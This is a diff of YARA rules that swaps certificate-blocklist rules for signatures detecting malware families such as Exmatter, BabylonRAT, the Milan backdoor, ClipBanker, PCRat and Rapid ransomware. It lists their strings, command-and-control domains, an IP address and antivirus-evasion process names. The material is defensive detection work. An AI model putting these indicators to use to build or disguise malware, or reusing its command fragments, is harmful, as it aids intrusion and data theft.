-rule DITEKSHEN_INDICATOR_KB_CERT_56Bba7Fe242E6B49695Bcf07870F5F5E : FILE
+rule DITEKSHEN_MALWARE_Win_Exmatter : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects BlackMatter data exfiltration tool"
 		author = "ditekSHen"
-		id = "902c1949-81e6-5070-ac60-2ebbb363fc6d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "93df7a68-1e19-5db3-95d4-39d77d1036d8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5047-L5058"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8303-L8325"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6c9da28b90bcff069509fc8e91c0a960805bb8339d0fa21f5466c38b6d20f95f"
+		logic_hash = "25a35c82919f96bdba00558616f574e901b83785713ed1a63a6f06df576777cd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "3c176bff246a30460311e8c71f880cad2a845164"
-		importance = 20
+		hash1 = "4a0e10e1e9fea0906379f99fa350b91c2af37f0fd2cc55491643cc71a9887d30"
+		hash2 = "a5e050f1278473d41c3a3d6f98f3fd82932f51a937bc57d8f5605815f0efb0f8"
+
+	strings:
+		$s1 = "Renci.SshNet." ascii
+		$s2 = "DirNotEmpty" fullword ascii
+		$s3 = "MkDir" fullword ascii
+		$s4 = "RmDir" fullword ascii
+		$s5 = "get_MainWindowHandle" fullword ascii
+		$s6 = "GetCurrentProcess" fullword ascii
+		$s7 = "]]>]]>" fullword wide
+		$s8 = "1.3.132.0.35" fullword wide
+		$s9 = "1.3.132.0.34" fullword wide
+		$s10 = "1.2.840.10045.3.1.7" fullword wide
+		$x1 = "sender2.pdb" fullword ascii
+		$x2 = { 64 00 61 00 74 00 61 00 ?? 72 00 6f 00 6f 00 74 }
+		$x3 = "157.230.28.192" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ewGMiQgCHj" and pe.signatures[i].serial=="56:bb:a7:fe:24:2e:6b:49:69:5b:cf:07:87:0f:5f:5e")
+		uint16(0)==0x5a4d and ( all of ($s*) or (1 of ($x*) and 7 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Dfef1A8C0Dbfef64Bc6C8A0647D6E873 : FILE
+rule DITEKSHEN_MALWARE_Win_Brbbot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects BrbBot"
 		author = "ditekSHen"
-		id = "a8e2a271-399f-531a-8e69-27a1598ba086"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d77dfdcf-4cd5-578e-99eb-c987e7b5b706"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5060-L5071"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8327-L8345"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "104f066ddfd34edc328844d06a84a1663b0d271c02599825c1797704e582883a"
+		logic_hash = "64df5bba698fbba1baf27eedb9a2eb46c5e0752996ea91900f8377200d54eeeb"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0709cdcb27230171877e2a11e6646a9fde28e02c"
-		importance = 20
+		snort_sid = "920265"
+
+	strings:
+		$x1 = "brbconfig.tmp" fullword ascii
+		$x2 = "brbbot" fullword ascii
+		$s1 = "%s?i=%s&c=%s&p=%s" fullword ascii
+		$s2 = "exec" fullword ascii
+		$s3 = "CONFIG" fullword ascii wide
+		$s4 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)" fullword ascii
+		$s5 = { 43 4f 4e 46 49 47 00 00 65 6e 63 6f 64 65 00 00
+                73 6c 65 65 70 00 00 00 65 78 69 74 00 00 00 00
+                63 6f 6e 66 00 00 00 00 66 69 6c 65 00 00 00 00
+                65 78 65 63 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NnTqRHlSFNJSUHGaiKWzqyHGdPzBarblmWEzpKHvkZrqn" and pe.signatures[i].serial=="00:df:ef:1a:8c:0d:bf:ef:64:bc:6c:8a:06:47:d6:e8:73")
+		uint16(0)==0x5a4d and (( all of ($x*) and 1 of ($s*)) or (1 of ($x*) and 4 of ($s*)) or all of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0609B5Aad2Dfb81Fbe6B75E4Cfe372A6 : FILE
+rule DITEKSHEN_MALWARE_Win_Babylonrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects BabylonRAT / CollectorStealer / ParadoxRAT"
 		author = "ditekSHen"
-		id = "db7bf2e3-f514-5133-a35a-87c43a5f12cf"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "7352e0cf-64ab-5ba4-afaf-04067a0046e8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5073-L5084"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8347-L8373"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2f483d06fd7af8db8e79203dcd4252d74f4859c0681e0bfcc4a97b351cb758a9"
+		logic_hash = "352efb98e298e9f0ce17c20d44d193f2565ec559923210d80dec1a0988545a30"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "a30013d7a055c98c4bfa097fe85110629ef13e67"
-		importance = 20
+
+	strings:
+		$x1 = "Babylon RAT Client" wide nocase
+		$x2 = "ParadoxRAT_Client" fullword ascii
+		$s1 = "@ConfigsEx" fullword wide
+		$s2 = "ClipBoard.txt" fullword wide
+		$s3 = "[%02d/%02d/%d %02d:%02d:%02d] [%s] (%s):" fullword wide
+		$s4 = "\\%Y %m %d - %I %M %p" fullword wide
+		$s5 = "[%02d/%02d/%d %02d:%02d:%02d] (%s)" fullword wide
+		$s6 = " c:\\Windows\\system32\\cmd.exe" fullword wide
+		$s7 = "Update Failed [OpenProcess]" wide
+		$s8 = "DoS Already Active..." fullword wide
+		$s9 = "File Downloaded and Execut" wide
+		$s10 = "LgDError33x98dGetProcAddress" fullword wide
+		$s11 = "@SPYNET" fullword wide
+		$s12 = "Recovery.Recovery" fullword wide
+		$s13 = "GetChrome" fullword wide
+		$s14 = "\\drivers\\etc\\HOSTS" fullword ascii
+		$s15 = "plugin-container.exe" fullword ascii
+		$s16 = "bss_server.usrRelay" fullword ascii
+		$s17 = "sckRelay" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "vVBhgeghjdigSdWYSAdmy" and pe.signatures[i].serial=="06:09:b5:aa:d2:df:b8:1f:be:6b:75:e4:cf:e3:72:a6")
+		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and 3 of ($s*)) or 8 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_02B6656292310B84022Db5541Bc48Faf : FILE
+rule DITEKSHEN_MALWARE_Win_Netsupport : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects NetSupport client"
 		author = "ditekSHen"
-		id = "252c8339-73d3-5de0-8f75-78a6a2da4abc"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "958e82c5-aeac-58f4-b214-a9382b598cd9"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5086-L5097"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8375-L8386"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "374f7abfab6f7def8b895dc9536ca6bb7a605e9478934af6c97e8b7595fbee19"
+		logic_hash = "4e8120d902fdee2a3f87c85bb6bb7d3bba79e3828500f297c2dc57d5213cf6a8"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "bb58a3d322fd67122804b2924ad1ddc27016e11a"
-		importance = 20
+		snort_sid = "920266-920267"
+
+	strings:
+		$s1 = ":\\nsmsrc\\nsm\\" fullword ascii
+		$s2 = "name=\"NetSupport Client Configurator\"" fullword ascii
+		$s3 = "<description>NetSupport Manager Remote Control.</description>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DILA d.o.o." and pe.signatures[i].serial=="02:b6:65:62:92:31:0b:84:02:2d:b5:54:1b:c4:8f:af")
+		uint16(0)==0x5a4d and 2 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00D609B6C95428954A999A8A99D4F198Af : FILE
+rule DITEKSHEN_MALWARE_Win_Gobrutloader : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects GoBrut StealthWorker laoder"
 		author = "ditekSHen"
-		id = "e1b732d2-24fd-5819-a26a-049a9a569089"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "748f8055-71d9-5757-8eb0-90dc3ee35c74"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5099-L5110"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8388-L8394"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "62eecc7cf240b9de6e04a43413bbeb84b673e9d3f1c4d67ec4082c099c6a87db"
+		logic_hash = "6241117cffb147763ace41b36cd1524f48bfc7cb06d56a82d7b30bec9e1baf5b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "b1d8033dd7ad9e82674299faed410817e42c4c40"
-		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Fudl" and pe.signatures[i].serial=="00:d6:09:b6:c9:54:28:95:4a:99:9a:8a:99:d4:f1:98:af")
+		uint16(0)==0x5a4d and pe.exports("@SetFirstEverVice@8")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6A568F85De2061F67Ded98707D4988Df : FILE
+rule DITEKSHEN_MALWARE_Win_Milan : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Milan Lyceum backdoor"
 		author = "ditekSHen"
-		id = "ed8748ce-cd90-527b-a58e-da9c7164ed18"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "2ea0775b-65d4-58b9-9af9-c07f29742627"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5112-L5123"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8396-L8467"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f1aea9f6237cfbda49fea6d38ece935f9d4cc5abc678590c63b9a339aa37e104"
+		logic_hash = "102af43be7cc3d873fbce78c95c767ebb6aadb2e7084b48f3cf48c11071d7a71"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "ed7e16a65294086fbdeee09c562b0722fdb2db48"
-		importance = 20
+		hash1 = "21ab4357262993a042c28c1cdb52b2dab7195a6c30fa8be723631604dd330b29"
+		hash2 = "a2754d7995426b58317e437f8ed6770cd7bb7b18d971e23b2b300b75e34fa086"
+		hash3 = "b46949feeda8726c0fb86d3cd32d3f3f53f6d2e6e3fcd6f893a76b8b2632b249"
+		hash4 = "b54a67062bdcd32dfa9f3d7b69780d2e6e4925777290bc34e8f979a1b4b72ea2"
+		hash5 = "b766522dd4189fef7775d663e5649ba9d8be8e03022039d20848fcbc3643e5f2"
+		hash6 = "d3606e2e36db0a0cb1b8168423188ee66332cae24fe59d63f93f5f53ab7c3029"
+		hash7 = "857e2f63a1078d49adc59a03482f7b362563f16fb251f174bdaa7759ed47922a"
+		hash8 = "4f1b8c9209fa2684aa3777353222ad1c7716910dbb615d96ffc7882eb81dd248"
+
+	strings:
+		$ua1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)" fullword wide
+		$ua2 = "Mozilla/5.0 (Android; Mobile; rv:28.0) Gecko/28.0 Firefox/28.0" fullword wide
+		$ua3 = "Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 520)" fullword wide
+		$ua4 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; XBLWP7; ZuneWP7)" fullword wide
+		$ua5 = "Mozilla/5.0 (IE 11.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C; rv:11.0) like Gecko" fullword wide
+		$ua6 = "Mozilla/5.0 (iPad; U; CPU OS 5_1_1 like Mac OS X; en-us) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3" fullword wide
+		$ua7 = "Mozilla/5.0 (Linux; Android 4.1; Galaxy Nexus Build/JRN84D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19" fullword wide
+		$ua8 = "Mozilla/5.0 (Linux; Android 7.1.1; ASUS_X017DA Build/NGI77B; rv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Rocket/1.5.1(11790) Chrome/74.0.3729.157 Mobile Safari/537.36" fullword wide
+		$ua9 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0" fullword wide
+		$ua10 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" fullword wide
+		$ua11 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36" fullword wide
+		$ua12 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0" fullword wide
+		$n1 = "charset={[A-Za-z0-9\\-_]+}" fullword wide
+		$n2 = "Content-Length: {[0-9]+}" fullword wide
+		$n3 = "Location: {[0-9]+}" fullword wide
+		$n4 = "Set-Cookie:\\b*{.+?}\\n" fullword wide
+		$n5 = "{<html>}" fullword wide
+		$n6 = "&formid=" fullword ascii
+		$n7 = "/?id=" fullword ascii
+		$p1 = "\\milan\\Debug\\Milan.pdb" ascii
+		$p2 = "\\milan\\Release\\Milan.pdb" ascii
+		$p3 = "\\BackDor Last\\" ascii
+		$p4 = "\\BackDorLast\\" ascii
+		$s1 = "/q \"%s\" & waitfor" wide
+		$s2 = "/q \"%s\" & schtasks /delete" wide
+		$s3 = "*BOT@;" fullword ascii
+		$s4 = "mofcomp \"" fullword ascii
+		$s5 = "\"WQL\";};instance of " ascii
+		$s6 = "</svalue>" fullword wide
+		$s7 = "cmd.exe /C " wide nocase
+		$d1 = "akastatus.com" ascii
+		$d2 = "centosupdatecdn.com" ascii
+		$d3 = "checkinternet.org" ascii
+		$d4 = "cybersecnet.co.za" ascii
+		$d5 = "cybersecnet.org" ascii
+		$d6 = "defenderlive.com" ascii
+		$d7 = "defenderstatus.com" ascii
+		$d8 = "digitalmarketingagency.net" ascii
+		$d9 = "dnsanalizer.com" ascii
+		$d10 = "dnscatalog.net" ascii
+		$d11 = "dnscdn.org" ascii
+		$d12 = "dnsstatus.org" ascii
+		$d13 = "excsrvcdn.com" ascii
+		$d14 = "hpesystem.com" ascii
+		$d15 = "livednscdn.com" ascii
+		$d16 = "micrsoftonline.net" ascii
+		$d17 = "ndianmombais.com" ascii
+		$d18 = "online-analytic.com" ascii
+		$d19 = "securednsservice.net" ascii
+		$d20 = "sysadminnews.info" ascii
+		$d21 = "uctpostgraduate.com" ascii
+		$d22 = "updatecdn.net" ascii
+		$d23 = "web-traffic.info" ascii
+		$d24 = "windowsupdatecdn.com" ascii
+		$d25 = "wsuslink.com" ascii
+		$d26 = "zonestatistic.com" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Apladis" and pe.signatures[i].serial=="6a:56:8f:85:de:20:61:f6:7d:ed:98:70:7d:49:88:df")
+		uint16(0)==0x5a4d and ((1 of ($p*) and (2 of ($s*) or 2 of ($ua*))) or (5 of ($n*) and (2 of ($ua*) or 1 of ($p*) or 1 of ($s*))) or (3 of ($s*) and (2 of ($ua*) or 5 of ($n*))) or (2 of ($d*) and 6 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_F90E68Cbf92Fd7Ad409E281C3F2A0F0A : FILE
+rule DITEKSHEN_MALWARE_Win_UNK05 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects potential BazarLoader"
 		author = "ditekSHen"
-		id = "e92daa7b-2d8a-5806-840e-678a9aa24fef"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "12f66315-f381-5910-b1d4-2cbf21c889a4"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5125-L5137"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8469-L8486"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		hash = "d79a8f491c0112c3f26572350336fe7d22674f5550f37894643eba980ae5bd32"
-		logic_hash = "ca8d80a446df0c28e9fb4944bd69d9fa008be968c449e5a469b182fbf8744a3f"
+		logic_hash = "b3074f237fbaf449a53dcc219f48509db6af4c0d0859e6590563c3412be30aa8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c202564339ddd78a1ce629ce54824ba2697fa3d6"
-		importance = 20
+
+	strings:
+		$s1 = "/api/get" ascii wide
+		$s2 = "PARENTCMDLINE" fullword ascii
+		$s3 = "https://microsoft.com/telemetry/update.exe" ascii wide
+		$s4 = "api.opennicproject.org" fullword ascii wide
+		$s5 = "https://%hu.%hu.%hu.%hu:%u" fullword ascii wide
+		$s6 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31" ascii wide
+		$s7 = "PARENTJOBID" fullword ascii wide
+		$s8 = "\\System32\\rundll32.exe" fullword ascii wide
+		$s9 = "{ccc38b40-5b04-4fb1-a684-07c7e448d4df}" fullword ascii wide
+		$s10 = "{065f6686-990b-46fc-829c-a53ec188a723}" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SUCK-MY-DICK-ESET" and pe.signatures[i].serial=="f9:0e:68:cb:f9:2f:d7:ad:40:9e:28:1c:3f:2a:0f:0a")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_7Ddd3796A427B42F2E52D7C7Af0Ca54F : FILE
+rule DITEKSHEN_MALWARE_Win_Clipbanker01 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ClipBanker infostealer"
 		author = "ditekSHen"
-		id = "2619669f-cceb-5177-9738-d28236e1344e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b56514f4-8362-5698-8142-be836b70a11a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5139-L5150"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8488-L8521"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "15df43212a842936e2ea0d834797f11fe80af3d376a19aa9a806aa6ed793e679"
+		logic_hash = "8ef90e22299a1009468761a4cdb8e2a92920d721f1a7ebceeb81a07e14f9156f"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "b5cd5a485dee4a82f34c98b3f108579e8501fdea"
-		importance = 20
+
+	strings:
+		$s1 = "Clipper" fullword wide
+		$s2 = "Ushell" fullword wide
+		$s3 = "Banker" fullword wide
+		$s4 = "ClipPurse" fullword wide nocase
+		$s5 = "SelfClip" fullword wide
+		$s6 = "Cliper" fullword wide
+		$s7 = "FHQD4313-33DE-489D-9721-6AFF69841DEA" fullword wide
+		$s8 = "Remove.bat" fullword wide
+		$s9 = "\\w{1}\\d{12}" fullword wide
+		$s10 = "SELECT * FROM Win32_ComputerSystem" fullword wide
+		$s11 = "red hat" fullword wide
+		$s12 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00
+                 2e 00 65 00 78 00 65 00 00 ?? 2f 00 63 00 72 00
+                 65 00 61 00 74 00 65 00 20 00 2f 00 73 00 63 00
+                 20 00 00 ?? 20 00 2f 00 6d 00 6f 00 20 00 00 ??
+                 20 00 2f 00 72 00 6c 00 20 00 00 ?? 20 00 2f 00
+                 74 00 6e 00 20 00 00 ?? 20 00 2f 00 74 00 72 00
+                 20 00 00 ?? 20 00 ?? 00 ?? 00 00 ?? 2f 00 64 00
+                 65 00 6c 00 65 00 74 00 65 00 20 00 2f 00 74 00
+                 6e }
+		$s13 = "ClipChanger" fullword ascii
+		$s14 = "CheckVirtual" fullword ascii
+		$s15 = "InjReg" fullword ascii
+		$s16 = "SuicideFile" fullword ascii
+		$s17 = "HideFile" fullword ascii
+		$s18 = "AntiVm" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Fobos" and pe.signatures[i].serial=="7d:dd:37:96:a4:27:b4:2f:2e:52:d7:c7:af:0c:a5:4f")
+		uint16(0)==0x5a4d and 7 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_17D99Cc2F5B29522D422332E681F3E18 : FILE
+rule DITEKSHEN_MALWARE_Win_Zombieboy : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ZombieBoy Downloader"
 		author = "ditekSHen"
-		id = "98493d50-2bee-50a5-93f3-851559c494a6"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c1345196-1686-534c-ab4c-557113c83411"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5152-L5163"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8523-L8532"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "95116d1114239795707b310afea3122d274dac471546de1e0147992d1f3a1d4f"
+		logic_hash = "0840367c1b56c4c266f22400df95411ba7784b98919a922380e1ec789783bb65"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "969932039e8bf3b4c71d9a55119071cfa1c4a41b"
-		importance = 20
+
+	strings:
+		$s1 = ":\\Users\\ZombieBoy\\" ascii wide
+		$s2 = "RookIE/1.0" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PKV Trading ApS" and pe.signatures[i].serial=="17:d9:9c:c2:f5:b2:95:22:d4:22:33:2e:68:1f:3e:18")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_02De1Cc6C487954592F1Bf574Ca2B000 : FILE
+rule DITEKSHEN_MALWARE_Win_Pcrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects PCRat / Gh0st"
 		author = "ditekSHen"
-		id = "1dc1b576-34f4-5017-8340-c6f58692a31c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "de5b3e08-16da-56e2-a0a4-d8bed5840804"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5165-L5176"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8534-L8561"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5963377fee755a859bc4330a1094ea1c8b2b588133706a22f67c1fb85542e64f"
+		logic_hash = "ad56d7d6a2bb6d09bc4530c31b51456b6bbca5def1810449fd2a31973cce18f8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e35804bbf4573f492c51a7ad7a14557816fe961f"
-		importance = 20
+
+	strings:
+		$s1 = "ClearEventLogA" fullword ascii
+		$s2 = "NetUserAdd" fullword ascii
+		$s3 = "<H1>403 Forbidden</H1>" fullword ascii
+		$s4 = ":]%d-%d-%d  %d:%d:%d" fullword ascii
+		$s5 = "Mozilla/4.0 (compatible)" fullword ascii
+		$s6 = "<Enter>" fullword ascii
+		$s7 = "\\cmd.exe" fullword ascii
+		$s8 = "Program Files\\Internet Explorer\\IEXPLORE.EXE" fullword ascii
+		$s9 = "Collegesoft ScenicPlayer" fullword wide
+		$a1 = "360tray.exe" fullword ascii
+		$a2 = "avp.exe" fullword ascii
+		$a3 = "RavMonD.exe" fullword ascii
+		$a4 = "360sd.exe" fullword ascii
+		$a5 = "Mcshield.exe" fullword ascii
+		$a6 = "egui.exe" fullword ascii
+		$a7 = "kxetray.exe" fullword ascii
+		$a8 = "knsdtray.exe" fullword ascii
+		$a9 = "TMBMSRV.exe" fullword ascii
+		$a10 = "avcenter.exe" fullword ascii
+		$a11 = "ashDisp.exe" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Orca System" and pe.signatures[i].serial=="02:de:1c:c6:c4:87:95:45:92:f1:bf:57:4c:a2:b0:00")
+		uint16(0)==0x5a4d and 5 of ($s*) and 6 of ($a*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_142Aac4217E22B525C8587589773Ba9B : FILE
+rule DITEKSHEN_MALWARE_Win_Rapid : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Rapid ransomware"
 		author = "ditekSHen"
-		id = "86ef1337-71cc-5231-a31c-8d8a8d95873f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3a23f344-8345-5ae8-aacb-f2f422d3fc9d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5178-L5188"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8563-L8585"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a0abe691c6b0a7be8ceea313068a6943d611b1424a1a03e43b82239ddfe9cbd2"
+		logic_hash = "c3f1bffeb402951da8bcccc899b2cdeb3c218b342d8338c750b9ff275537b4b5"
 		score = 75
 		quality = 75
